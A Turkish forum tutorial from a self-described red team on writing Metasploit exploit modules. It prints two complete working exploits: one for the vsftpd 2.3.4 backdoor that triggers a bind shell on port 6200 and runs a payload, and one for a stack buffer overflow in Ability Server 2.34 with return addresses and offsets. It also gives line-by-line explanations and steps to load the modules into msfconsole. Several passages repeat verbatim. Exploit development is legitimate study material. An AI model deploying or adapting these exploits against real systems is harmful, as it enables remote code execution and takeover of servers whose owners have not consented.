Merhabalar ben Anka Red Team'den Bunjo, bu konuda "Metasploit" aracına (yapısına) exploit nasıl geliştirilebileceğini anlatacağım.
Metasploit, içinde kendi HTTP istemcisini, socket modüllerini, çeşitli sistemler için API kodlarını barındırır.
Bu kodlar, kullanıcının exploit kodlayacağı zaman en baştan gem dosyalarını içeriye aktarıp tekrar tekrar bu modülleri kodlamaması için kullanılırlar.
Bende bu konuda bu modüllerden bazılarını nasıl kullanacağımızı ve Metasploit söz dizimine uygun bir şekilde nasıl exploit geliştirebileceğimizi anlatacağım.
Diğer Konularım:
WordPress Shell Finder Kodlamak! (Asenkron Multi-Process)
Wordpress Plugin 3DPrint Lite Exploit! (CVE-2021-4436) (Asenkron)
WordPress File Upload Checker Exploit Kodlamak! (CVE-2020-35489)
Exploit Eğitimi #8 (Shellshock (Bash Bug))
Exploit Eğitimi #7 (WordPress)
FTP Fuzzer (Exploit Eğitimi #6)
SMTP Enumeration (Exploit Eğitimi #5)
Exploit Eğitimi #4 (Her Türden)
Exploit Eğitimi #3 (Gerçek Site Hack)(Korea Telecom)
Exploit Kodlamak [Eğitim Serisi #2] (Gerçek Senaryo)
Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo)
Kod:
Ruby:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the VSFTPD download
archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
June 30th 2011 and July 1st 2011 according to the most recent information
available. This backdoor was removed on July 3rd 2011.
},
'Author' => [ 'BUNJO' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '73573'],
[ 'URL', 'http://pastebin.com/AetT9sS5'],
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
],
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => '2011-07-03',
'DefaultTarget' => 0))
register_options([ Opt::RPORT(21) ])
end
def exploit
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_status("The port used by the backdoor bind listener is already open")
handle_backdoor(nsock)
return
end
# Connect to the FTP service port first
connect
banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")
if resp =~ /^530 /
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
disconnect
return
end
if resp !~ /^331 /
print_error("This server did not respond as expected: #{resp.strip}")
disconnect
return
end
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
# Do not bother reading the response from password, just try the backdoor
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_good("Backdoor service has been spawned, handling...")
handle_backdoor(nsock)
return
end
disconnect
end
def handle_backdoor(s)
s.put("id\n")
r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("The service on port 6200 does not appear to be a shell")
disconnect(s)
return
end
print_good("UID: #{r.strip}")
s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
handler(s)
end
end
Metasploit Söz Dizimi
Kod açıklamasına daha detaylı değinmeden önce, Metasploit söz dizimine basit bir şekilde bakalım.
Modül Başlığı ve Tanımı:
Modül dosyasının başında, modülün adı, açıklaması ve yazar(lar)ı gibi temel bilgiler yer alır.
Bu bilgiler, modülün ne işe yaradığını ve kimler tarafından geliştirildiğini belirtir.
Kod açıklamasına daha detaylı değinmeden önce, Metasploit söz dizimine basit bir şekilde bakalım.
Modül Başlığı ve Tanımı:
Modül dosyasının başında, modülün adı, açıklaması ve yazar(lar)ı gibi temel bilgiler yer alır.
Bu bilgiler, modülün ne işe yaradığını ve kimler tarafından geliştirildiğini belirtir.
Ruby:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Exploit adı',
'Description' => 'Exploit açıklaması',
'Author' => [ 'Bunjo', 'Anka Team' ],
'License' => MSF_LICENSE,
))
register_options([ Opt::RPORT(21) ])
end
Metasploit'in içinde barındırdığı modüllerden bahsetmiştim, aynı zamanda Metasploit kendi içinde sınıflar da barındırır.
Örneğin bir backdoor explotinin türü "Remote Exploit" türünden olacağı için Msf::Exploit::Remote sınıfı altına tanımlanır.
MetasploitModule kendi explotinizin sınıfını belirtir, kendinize göre adlandırabilirsiniz.
"include" ile Metasploit'in TCP bağlantı modülü içeriye aktarılır.
'Name' = Exploit Adı
'Description' = Exploit Açıklaması
'Author' = Exploit'in yazarı veya yazarları
'License' = Herangi bir linsans varsa onu belirtir.
Metasploit'in yukarıda olduğu şekilde kendine özgü bir şeması vardır.
Exploit ve Payload Bilgileri: Exploit ve payload (yükleme) seçenekleri ve ayarları tanımlanır.
Bu bölümde, hedef sistemdeki güvenlik açığını sömürmek için kullanılacak exploit seçenekleri ve payload seçenekleri belirtilir.
Exploit ve Payload Bilgileri:
Exploit ve payload (yükleme) seçenekleri ve ayarları tanımlanır.
Bu bölümde, hedef sistemdeki güvenlik açığını sömürmek için kullanılacak exploit seçenekleri ve payload seçenekleri belirtilir.
Örneğin bir backdoor explotinin türü "Remote Exploit" türünden olacağı için Msf::Exploit::Remote sınıfı altına tanımlanır.
MetasploitModule kendi explotinizin sınıfını belirtir, kendinize göre adlandırabilirsiniz.
"include" ile Metasploit'in TCP bağlantı modülü içeriye aktarılır.
'Name' = Exploit Adı
'Description' = Exploit Açıklaması
'Author' = Exploit'in yazarı veya yazarları
'License' = Herangi bir linsans varsa onu belirtir.
Metasploit'in yukarıda olduğu şekilde kendine özgü bir şeması vardır.
Exploit ve Payload Bilgileri: Exploit ve payload (yükleme) seçenekleri ve ayarları tanımlanır.
Bu bölümde, hedef sistemdeki güvenlik açığını sömürmek için kullanılacak exploit seçenekleri ve payload seçenekleri belirtilir.
Exploit ve Payload Bilgileri:
Exploit ve payload (yükleme) seçenekleri ve ayarları tanımlanır.
Bu bölümde, hedef sistemdeki güvenlik açığını sömürmek için kullanılacak exploit seçenekleri ve payload seçenekleri belirtilir.
Ruby:
def exploit
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_status("The port used by the backdoor bind listener is already open")
handle_backdoor(nsock)
return
end
connect
banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")
if resp =~ /^530 /
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
disconnect
return
end
if resp !~ /^331 /
print_error("This server did not respond as expected: #{resp.strip}")
disconnect
return
end
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_good("Backdoor service has been spawned, handling...")
handle_backdoor(nsock)
return
end
disconnect
end
Kısacası "exploit" isimli oluşturulan fonksiyonda, exploit işlemi için kullanılacak kodlar bulunur.
Payload Hazırlama ve Gönderme:
Payload'ın hazırlanması ve hedefe gönderilmesi için gerekli adımlar bu bölümde yer alır.
Payload Hazırlama ve Gönderme:
Payload'ın hazırlanması ve hedefe gönderilmesi için gerekli adımlar bu bölümde yer alır.
Ruby:
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_good("Backdoor service has been spawned, handling...")
handle_backdoor(nsock)
return
end
Geri Kapı (Handler) Kodları: Eğer hedef sistemde bir geri kapı açıldıysa, bu kapının yönetilmesi için gerekli kodlar bu bölümde yer alır.
Ruby:
def handle_backdoor(s)
s.put("id\n")
r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("The service on port 6200 does not appear to be a shell")
disconnect(s)
return
end
print_good("UID: #{r.strip}")
s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
handler(s)
end
Kod Açıklaması
Ruby:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the VSFTPD download
archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
June 30th 2011 and July 1st 2011 according to the most recent information
available. This backdoor was removed on July 3rd 2011.
},
'Author' => [ 'BUNJO' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '73573'],
[ 'URL', 'http://pastebin.com/AetT9sS5'],
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
],
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => '2011-07-03',
'DefaultTarget' => 0))
register_options([ Opt::RPORT(21) ])
end
class MetasploitModule < Msf::Exploit::Remote: Bu satır, MetasploitModule adında bir sınıf tanımlar ve Msf::Exploit::Remote sınıfından kalıtım alır.
Bu, Metasploit'in uzaktan saldırı modülü mimarisini kullanarak bir saldırı modülü olduğunu belirtir.
Rank = ExcellentRanking: Bu satır, saldırının Metasploit modül kategorisindeki önemini belirler. Burada, saldırının "Mükemmel" derecelendirme aldığını belirtir.
include Msf::Exploit::Remote::Tcp: Bu satır, TCP üzerinden uzaktan saldırıları kolaylaştırmak için gerekli olan Msf::Exploit::Remote::Tcp modülünü dahil eder.
def initialize(info = {}): Bu satır, sınıfın başlatıcı metodunu tanımlar. Bu metod, modülün başlatılması ve gerekli bilgilerin tanımlanması için kullanılır.
super(update_info(info, ...)): Bu satır, üst sınıfın (Msf::Exploit::Remote) başlatıcı metodunu çağırır ve modül bilgilerini günceller.
'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution': Modülün adını belirtir.
'Description' => %q{...}: Modülün açıklamasını içerir. Bu açıklama, saldırının neyi hedeflediği ve nasıl çalıştığı hakkında bilgi verir.
'Author' => [ 'BUNJO' ]: Saldırıyı geliştiren kişinin bilgisini içerir.
'License' => MSF_LICENSE: Modülün lisansını belirtir.
'References' => [...]: Saldırıyla ilgili referansları içerir, örneğin güvenlik açıklarının veritabanı girişleri veya ilgili blog yazıları.
'Privileged' => true: Saldırının yönetici ayrıcalıklarına ihtiyaç duyup duymadığını belirtir.
'Platform' => [ 'unix' ]: Saldırının hedef platformunu belirtir.
'Arch' => ARCH_CMD: Saldırının hedef mimarisini belirtir.
'Payload' => { ... }: Saldırıda kullanılacak payloadu tanımlar.
'Targets' => [...]: Saldırının hedeflerini belirtir.
'DisclosureDate' => '2011-07-03': Güvenlik açığının açıklandığı tarihi belirtir.
'DefaultTarget' => 0: Varsayılan hedefi belirtir.
register_options([ Opt::RPORT(21) ]): Seçenekleri (options) kaydeder. Bu durumda, sadece hedef makinenin dinlediği portu belirler.
Bu, Metasploit'in uzaktan saldırı modülü mimarisini kullanarak bir saldırı modülü olduğunu belirtir.
Rank = ExcellentRanking: Bu satır, saldırının Metasploit modül kategorisindeki önemini belirler. Burada, saldırının "Mükemmel" derecelendirme aldığını belirtir.
include Msf::Exploit::Remote::Tcp: Bu satır, TCP üzerinden uzaktan saldırıları kolaylaştırmak için gerekli olan Msf::Exploit::Remote::Tcp modülünü dahil eder.
def initialize(info = {}): Bu satır, sınıfın başlatıcı metodunu tanımlar. Bu metod, modülün başlatılması ve gerekli bilgilerin tanımlanması için kullanılır.
super(update_info(info, ...)): Bu satır, üst sınıfın (Msf::Exploit::Remote) başlatıcı metodunu çağırır ve modül bilgilerini günceller.
'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution': Modülün adını belirtir.
'Description' => %q{...}: Modülün açıklamasını içerir. Bu açıklama, saldırının neyi hedeflediği ve nasıl çalıştığı hakkında bilgi verir.
'Author' => [ 'BUNJO' ]: Saldırıyı geliştiren kişinin bilgisini içerir.
'License' => MSF_LICENSE: Modülün lisansını belirtir.
'References' => [...]: Saldırıyla ilgili referansları içerir, örneğin güvenlik açıklarının veritabanı girişleri veya ilgili blog yazıları.
'Privileged' => true: Saldırının yönetici ayrıcalıklarına ihtiyaç duyup duymadığını belirtir.
'Platform' => [ 'unix' ]: Saldırının hedef platformunu belirtir.
'Arch' => ARCH_CMD: Saldırının hedef mimarisini belirtir.
'Payload' => { ... }: Saldırıda kullanılacak payloadu tanımlar.
'Targets' => [...]: Saldırının hedeflerini belirtir.
'DisclosureDate' => '2011-07-03': Güvenlik açığının açıklandığı tarihi belirtir.
'DefaultTarget' => 0: Varsayılan hedefi belirtir.
register_options([ Opt::RPORT(21) ]): Seçenekleri (options) kaydeder. Bu durumda, sadece hedef makinenin dinlediği portu belirler.
Ruby:
def exploit
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_status("The port used by the backdoor bind listener is already open")
handle_backdoor(nsock)
return
end
connect
banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")
if resp =~ /^530 /
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
disconnect
return
end
if resp !~ /^331 /
print_error("This server did not respond as expected: #{resp.strip}")
disconnect
return
end
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
print_good("Backdoor service has been spawned, handling...")
handle_backdoor(nsock)
return
end
disconnect
end
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil: Öncelikle, saldırıda kullanılacak olan geri kapı bağlantısı için belirli bir portta bağlantı denemesi yapılır. Eğer bağlantı başarılı olursa (rescue bloğuna düşülmezse), zaten bir geri kapı hizmeti olduğu belirtilir ve handle_backdoor metodu çağrılır.
if nsock: Eğer geri kapı bağlantısı başarılıysa, yani hedef sunucuda zaten bir geri kapı hizmeti varsa, bunun olduğu bildirilir ve handle_backdoor metodu çağrılır.
connect: Eğer geri kapı bağlantısı sağlanamamışsa, hedef sunucuya normal bir FTP bağlantısı oluşturulur.
banner = sock.get_once(-1, 30).to_s: Sunucunun banner bilgisi alınır ve bu bilgi ekrana yazdırılır.
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}: )\r\n"): Rastgele bir kullanıcı adı oluşturularak sunucuya gönderilir.
resp = sock.get_once(-1, 30).to_s: Sunucudan yanıt alınır.
if resp =~ /^530 /: Eğer sunucu yalnızca anonim kullanıcıya izin veriyorsa, yani kullanıcı adı ve parola ile giriş yapılamıyorsa, hata mesajı verilir ve bağlantı kapatılır.
if resp !~ /^331 /: Eğer sunucu beklenen yanıtı vermezse, hata mesajı verilir ve bağlantı kapatılır.
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n"): Eğer sunucu beklenen yanıtı verirse, rastgele bir parola oluşturulur ve sunucuya gönderilir.
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil: Bir kez daha geri kapıya bağlanma girişimi yapılır.
if nsock: Eğer bu bağlantı başarılı olursa, yani sunucuda geri kapı hizmeti başlatılabilmişse, bu durum kullanıcıya bildirilir ve handle_backdoor metodu çağrılır.
disconnect: Eğer sunucuda geri kapı hizmeti başlatılamamışsa, bağlantı kapatılır.
Ruby:
def handle_backdoor(s)
s.put("id\n")
r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("The service on port 6200 does not appear to be a shell")
disconnect(s)
return
end
print_good("UID: #{r.strip}")
s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
handler(s)
end
end
def handle_backdoor(s): Bu metod, geri kapıya başarılı bir şekilde bağlandıktan sonra gerçekleştirilecek işlemleri içerir. s parametresi, geri kapıya bağlanmak için kullanılan soket nesnesini temsil eder.
s.put("id\n"): Bağlı olan geri kapı soketine id komutu gönderilir. Bu, kullanıcının kimlik bilgilerini almak için bir UNIX kabuğu komutudur.
r = s.get_once(-1, 5).to_s: Soketten gelen yanıt (id komutunun çıktısı) alınır. get_once metodu, soketten bir kez veri okur ve ardından bekler. -1 parametresi, tüm veriyi okumak için beklemesi gerektiğini belirtir, 5 ise beklenen maksimum süredir.
if r !~ /uid=/: Gelen yanıtta uid= ifadesi bulunamazsa, yani geri kapının bir kabuk olmadığı anlamına gelir. Bu durumda bir hata mesajı yazdırılır ve bağlantı kapatılır.
print_good("UID: #{r.strip}"): Eğer uid= ifadesi bulunursa, kullanıcının kimlik bilgisi olduğu varsayılır ve bu bilgi ekrana yazdırılır.
s.put("nohup " + payload.encoded + " >/dev/null 2>&1"): Ardından, saldırı için hazırlanmış olan payload (payload.encoded) geri kapıya gönderilir. nohup komutu, saldırıyı arka planda çalıştırır ve çıktıyı (stdout ve stderr) /dev/null dosyasına yönlendirir, böylece geri kapı soketi kapatılsa bile saldırı devam eder.
handler(s): Son olarak, handler metodu çağrılarak, geri kapıdan alınan kontrol sağlanır. Bu sayede, saldırı sonucu hedef sistem üzerindeki kontrol sağlanabilir.
end: handle_backdoor metodunun sonunu belirtir.
end: MetasploitModule sınıfının ve dolayısıyla kod bloğunun sonunu belirtir.
s.put("id\n"): Bağlı olan geri kapı soketine id komutu gönderilir. Bu, kullanıcının kimlik bilgilerini almak için bir UNIX kabuğu komutudur.
r = s.get_once(-1, 5).to_s: Soketten gelen yanıt (id komutunun çıktısı) alınır. get_once metodu, soketten bir kez veri okur ve ardından bekler. -1 parametresi, tüm veriyi okumak için beklemesi gerektiğini belirtir, 5 ise beklenen maksimum süredir.
if r !~ /uid=/: Gelen yanıtta uid= ifadesi bulunamazsa, yani geri kapının bir kabuk olmadığı anlamına gelir. Bu durumda bir hata mesajı yazdırılır ve bağlantı kapatılır.
print_good("UID: #{r.strip}"): Eğer uid= ifadesi bulunursa, kullanıcının kimlik bilgisi olduğu varsayılır ve bu bilgi ekrana yazdırılır.
s.put("nohup " + payload.encoded + " >/dev/null 2>&1"): Ardından, saldırı için hazırlanmış olan payload (payload.encoded) geri kapıya gönderilir. nohup komutu, saldırıyı arka planda çalıştırır ve çıktıyı (stdout ve stderr) /dev/null dosyasına yönlendirir, böylece geri kapı soketi kapatılsa bile saldırı devam eder.
handler(s): Son olarak, handler metodu çağrılarak, geri kapıdan alınan kontrol sağlanır. Bu sayede, saldırı sonucu hedef sistem üzerindeki kontrol sağlanabilir.
end: handle_backdoor metodunun sonunu belirtir.
end: MetasploitModule sınıfının ve dolayısıyla kod bloğunun sonunu belirtir.
Exploit'in Metasploit'e Yüklenmesi
Öncelikle, exploit kodunu bir dosyaya yapıştırın ve .rb uzantılı olarak kaydedin. Örneğin, backdoor_bunjo.rb şeklinde bir dosya adı kullanabilirsiniz.
Kaydettiğiniz dosyayı Metasploit'in exploitlerinin bulunduğu dizine kopyalayın. Bu dizin genellikle Metasploit'in kurulu olduğu dizinde modules/exploits şeklindedir. Örneğin, Linux'ta /usr/share/metasploit-framework/modules/exploits/linux/ftp dizinine kopyalayabilirsiniz.
Öncelikle, exploit kodunu bir dosyaya yapıştırın ve .rb uzantılı olarak kaydedin. Örneğin, backdoor_bunjo.rb şeklinde bir dosya adı kullanabilirsiniz.
Kaydettiğiniz dosyayı Metasploit'in exploitlerinin bulunduğu dizine kopyalayın. Bu dizin genellikle Metasploit'in kurulu olduğu dizinde modules/exploits şeklindedir. Örneğin, Linux'ta /usr/share/metasploit-framework/modules/exploits/linux/ftp dizinine kopyalayabilirsiniz.
CoffeeScript:
┌──(root㉿bunjo)-[~/Desktop]
└─# mv backdoor_bunjo.rb /usr/share/metasploit-framework/modules/exploits/linux/ftp
┌──(root㉿bunjo)-[~/Desktop]
└─# ls /usr/share/metasploit-framework/modules/exploits/linux/ftp | grep backdoor
backdoor_bunjo.rb
Metasploit'in terminal arabirimi olan msfconsole komutunu çalıştırın.
Metasploit konsolunda, exploit modülünü yüklemek için use komutunu kullanın.
Exploit için ayarları görüntülemek.
Şeklinde exploitimizi yüklemeyi tamamladık.
Zafiyetli Port Tespiti
Exploit Kullanımı
İncelemeniz İçin Başka Bir Örnek
İncelemeniz İçin Başka Bir Örnek
Ruby:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(
info,
'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Ability Server 2.34.
Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.
The vulnerability has been confirmed on version 2.34 and has also been reported
in version 2.25 and 2.32. Other versions may also be affected.},
'License' => MSF_LICENSE,
'Author' =>
[
'muts', # Initial discovery
'Dark Eagle', # same as muts
'Peter Osterberg', # Metasploit
],
'References' =>
[
[ 'CVE', '2004-1626' ],
[ 'OSVDB', '11030'],
[ 'EDB', '588'],
],
'Platform' => %w{ win },
'Targets' =>
[
[
'Windows XP SP2 ENG',
{
#JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3)
'Ret' => 0x73E32ECF,
'Offset' => 966
}
],
[
'Windows XP SP3 ENG',
{
#JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully patched)
'Ret' => 0x7E429353,
'Offset' => 966
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 22 2004'
))
register_options(
[
Opt::RPORT(21),
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
], self.class)
end
def check
connect
disconnect
if banner =~ /Ability Server 2\.34/
return Exploit::CheckCode::Appears
else
if banner =~ /Ability Server/
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
end
def exploit
c = connect_login
return if not c
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
# Take client IP address + FTP user lengths into account for EIP offset
padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
junk = rand_text_alpha(padd_size)
sploit = junk
sploit << [target.ret].pack('V')
sploit << make_nops(32)
sploit << payload.encoded
sploit << rand_text_alpha(sploit.length)
send_cmd(['STOR', sploit], false)
handler
disconnect
end
end
Basir bir örnek üzerinden detaylıca anlatmaya çalıştım, toxic yorum yapmak yerine beğenmediğiniz yerleri kendiniz anlatabilirsiniz.
Emeğe karşılık konuyu beğenebilir ve mesaj yazabilirsiniz. Okuyan herkese teşekkür ederim.
Son düzenleme: